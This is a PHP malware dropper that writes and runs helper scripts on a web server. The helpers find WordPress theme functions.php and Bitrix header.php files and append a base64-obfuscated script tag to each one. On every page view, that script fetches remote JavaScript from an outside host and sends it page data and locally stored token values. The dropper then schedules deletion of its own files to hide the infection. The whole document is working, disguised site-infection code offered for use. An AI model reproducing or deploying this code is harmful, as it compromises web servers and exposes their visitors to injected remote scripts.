<?php

$codeWP = '<?php
function findAccessiblePaths($path) {
    $parts = explode("/", $path);
    $currentPath = "/";
    $accessiblePaths = [];

    foreach ($parts as $part) {
        if (!empty($part)) {
            $currentPath .= $part . "/";
            if (is_readable($currentPath)) {
                $accessiblePaths[] = $currentPath;
            }
        }
    }
    return $accessiblePaths;
}
function findWpThemesCrossPlatform() {
    $cwd = getcwd();
    $accessiblePaths = findAccessiblePaths($cwd);
    $allModifiedFiles = [];

    foreach ($accessiblePaths as $path) {
        $command = getSearchCommand($path);
        $output = shell_exec($command);
        $functionsPaths = [];

        if ($output) {
            $paths = preg_split("/\r\n|\r|\n/", trim($output));
            foreach ($paths as $path) {
                $foundPaths = findFilesRecursively($path, "functions.php");
                $functionsPaths = array_merge($functionsPaths, $foundPaths);
            }
        }

        $modifiedFiles = addCustomScriptToFiles($functionsPaths);
        if (!empty($modifiedFiles)) {
            $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);
            break;
        }
    }

    if (empty($allModifiedFiles)) {
        echo "No themes modified or accessible";
    } else {
        print_r($allModifiedFiles);
    }
}
function addCustomScriptToFiles(array $functionsPaths) {
    $modifiedFiles = [];
    $newFunctionCode = getCustomScript();

    foreach ($functionsPaths as $functionsPath) {
        if (file_exists($functionsPath) && is_writable($functionsPath)) {
            $code = file_get_contents($functionsPath);
            if (strpos($code, "wp_system_query_script") === false) {
                $code .= "\n" . $newFunctionCode;
                file_put_contents($functionsPath, $code);
                $modifiedFiles[] = $functionsPath;
            }
        }
    }
    return $modifiedFiles;
}
function getCustomScript() {
    return <<<PHP
function wp_system_query_script() {
    ?>
<script src="data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfZHNITXlGaHlYWXc4cWh4Zyc7CiAgICBpZiAoIXdpbmRvdy5fZHNITXlGaHlYWXc4cWh4ZykgewogICAgICAgIHdpbmRvdy5fZHNITXlGaHlYWXc4cWh4ZyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9iYnRycmFjay5nbG9iYWwuc3NsLmZhc3RseS5uZXQvVDQ5THN3JywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgX215WUNrR0RNUDlqcU5DRHQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF9teVlDa0dETVA5anFOQ0R0ICE9PSAndW5kZWZpbmVkJyAmJiBfbXlZQ2tHRE1QOWpxTkNEdCAhPT0gbnVsbCkgewogICAgICAgIHZhciBfS1BxczhnWDZQWGdOVGgzViA9IEpTT04ucGFyc2UoX215WUNrR0RNUDlqcU5DRHQpOwogICAgICAgIHZhciBfUDhEWUJCczlZOVBIU3RNNiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9LUHFzOGdYNlBYZ05UaDNWLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudHRsIDwgX1A4RFlCQnM5WTlQSFN0TTYpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF93R3AycnRwampyeGpLTUJHID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX3h3Q2pMM3FxUXozQmdUSk4gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfckZEa05XUzd5S0o3NHlDUCA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9kc0hNeUZoeVhZdzhxaHhnLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF93R3AycnRwampyeGpLTUJHICE9PSAndW5kZWZpbmVkJyAmJiBfd0dwMnJ0cGpqcnhqS01CRyAmJiB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudW5pcXVlKSB7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfd0dwMnJ0cGpqcnhqS01CRyk7CiAgICB9CiAgICBpZiAodHlwZW9mIF94d0NqTDNxcVF6M0JnVEpOICE9PSAndW5kZWZpbmVkJyAmJiBfeHdDakwzcXFRejNCZ1RKTiAmJiB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudW5pcXVlKSB7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF94d0NqTDNxcVF6M0JnVEpOKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcuUl9QQVRIICsgX3JGRGtOV1M3eUtKNzR5Q1A7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA="></script>

    <?php
}
add_action("wp_footer", "wp_system_query_script");
add_action("wp_body_open", "wp_system_query_script");
PHP;
}
function getSearchCommand($startPath) {
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === "WIN") {
        return "dir /s /b /a:d {$startPath}*wp-content\\themes*";
    } else {
        return "find {$startPath} -type d -name \'themes\' -path \'*/wp-content/themes\' 2>/dev/null";
    }
}
function findFilesRecursively($dir, $fileName) {
    $results = [];
    $files = scandir($dir);

    foreach ($files as $file) {
        if ($file !== "." && $file !== "..") {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $results = array_merge($results, findFilesRecursively($path, $fileName));
            } elseif ($file === $fileName) {
                $results[] = $path;
            }
        }
    }

    return $results;
}

findWpThemesCrossPlatform();
die();
?>';

$codeBT = '<?php 
function findAccessiblePaths($path)
{
    $parts = explode("/", $path);
    $currentPath = "/";
    $accessiblePaths = [];

    foreach ($parts as $part) {
        if (!empty($part)) {
            $currentPath .= $part . "/";
            if (is_readable($currentPath)) {
                $accessiblePaths[] = $currentPath;
            }
        }
    }
    return $accessiblePaths;
}

function modifyBitrixTemplates()
{
    $cwd = getcwd();
    $accessiblePaths = findAccessiblePaths($cwd);
    $allModifiedFiles = [];

    foreach ($accessiblePaths as $path) {
        $command = getSearchCommand($path);
        $output = shell_exec($command);
        $templatePaths = [];

        if ($output) {
            $paths = preg_split("/\r\n|\r|\n/", trim($output));
            foreach ($paths as $path) {
                $foundPaths = findFilesRecursively($path, "header.php"); // Example file in a Bitrix template
                $templatePaths = array_merge($templatePaths, $foundPaths);
            }
        }

        $modifiedFiles = addCustomScriptToFiles($templatePaths);
        if (!empty($modifiedFiles)) {
            $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);
            break;
        }
    }

    if (empty($allModifiedFiles)) {
        echo "No templates modified or accessible";
    } else {
        echo print_r($allModifiedFiles);
    }
}

function addCustomScriptToFiles(array $templatePaths)
{
    $modifiedFiles = [];
    $newFunctionCode = getCustomScript();

    foreach ($templatePaths as $templatePath) {
        if (file_exists($templatePath) && is_writable($templatePath)) {
            $code = file_get_contents($templatePath);
            if (strpos($code, "custom_query_script") === false) {
                $code .= "\n" . $newFunctionCode;
                file_put_contents($templatePath, $code);
                $modifiedFiles[] = $templatePath;
            }
        }
    }
    return $modifiedFiles;
}

function getCustomScript()
{
    return <<<HTML
<script src="data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfZHNITXlGaHlYWXc4cWh4Zyc7CiAgICBpZiAoIXdpbmRvdy5fZHNITXlGaHlYWXc4cWh4ZykgewogICAgICAgIHdpbmRvdy5fZHNITXlGaHlYWXc4cWh4ZyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9iYnRycmFjay5nbG9iYWwuc3NsLmZhc3RseS5uZXQvVDQ5THN3JywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgX215WUNrR0RNUDlqcU5DRHQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF9teVlDa0dETVA5anFOQ0R0ICE9PSAndW5kZWZpbmVkJyAmJiBfbXlZQ2tHRE1QOWpxTkNEdCAhPT0gbnVsbCkgewogICAgICAgIHZhciBfS1BxczhnWDZQWGdOVGgzViA9IEpTT04ucGFyc2UoX215WUNrR0RNUDlqcU5DRHQpOwogICAgICAgIHZhciBfUDhEWUJCczlZOVBIU3RNNiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9LUHFzOGdYNlBYZ05UaDNWLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudHRsIDwgX1A4RFlCQnM5WTlQSFN0TTYpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF93R3AycnRwampyeGpLTUJHID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX3h3Q2pMM3FxUXozQmdUSk4gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfckZEa05XUzd5S0o3NHlDUCA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9kc0hNeUZoeVhZdzhxaHhnLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF93R3AycnRwampyeGpLTUJHICE9PSAndW5kZWZpbmVkJyAmJiBfd0dwMnJ0cGpqcnhqS01CRyAmJiB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudW5pcXVlKSB7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfd0dwMnJ0cGpqcnhqS01CRyk7CiAgICB9CiAgICBpZiAodHlwZW9mIF94d0NqTDNxcVF6M0JnVEpOICE9PSAndW5kZWZpbmVkJyAmJiBfeHdDakwzcXFRejNCZ1RKTiAmJiB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcudW5pcXVlKSB7CiAgICAgICAgX3JGRGtOV1M3eUtKNzR5Q1AgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF94d0NqTDNxcVF6M0JnVEpOKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcuUl9QQVRIICsgX3JGRGtOV1M3eUtKNzR5Q1A7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA="></script>

HTML;
}

function getSearchCommand($startPath)
{
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === "WIN") {
        return "dir /s /b /a:d {$startPath}*bitrix*";
    } else {
        return "find {$startPath} -type d -name \'bitrix\' -path \'*/bitrix\' 2>/dev/null";
    }
}

function findFilesRecursively($dir, $fileName)
{
    $results = [];
    $files = scandir($dir);

    foreach ($files as $file) {
        if ($file !== "." && $file !== "..") {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $results = array_merge($results, findFilesRecursively($path, $fileName));
            } elseif ($file === $fileName) {
                $results[] = $path;
            }
        }
    }

    return $results;
}

modifyBitrixTemplates(); 
die(); 
?>';

$del = <<<PHP
<?php
unlink('wp.php');
unlink('bt.php');
unlink('wpbtStart.php');
?>
PHP;

file_put_contents('wp.php', $codeWP);
file_put_contents('bt.php', $codeBT);
file_put_contents('del.php', $del);

$os = strtoupper(substr(PHP_OS, 0, 3));
if ($os === "WIN") {
    shell_exec("start /B php wp.php > log_wp.txt 2>&1");
    shell_exec("start /B php bt.php > log_bt.txt 2>&1");
    shell_exec("Start-Sleep -Seconds 600; Start-Process 'php' -ArgumentList 'del.php' -NoNewWindow");
} else {
    shell_exec("php wp.php > log_wp.txt 2>&1 &");
    shell_exec("php bt.php > log_bt.txt 2>&1 &");
    shell_exec("(sleep 600 && php del.php) > /dev/null 2>&1 &");
}

?>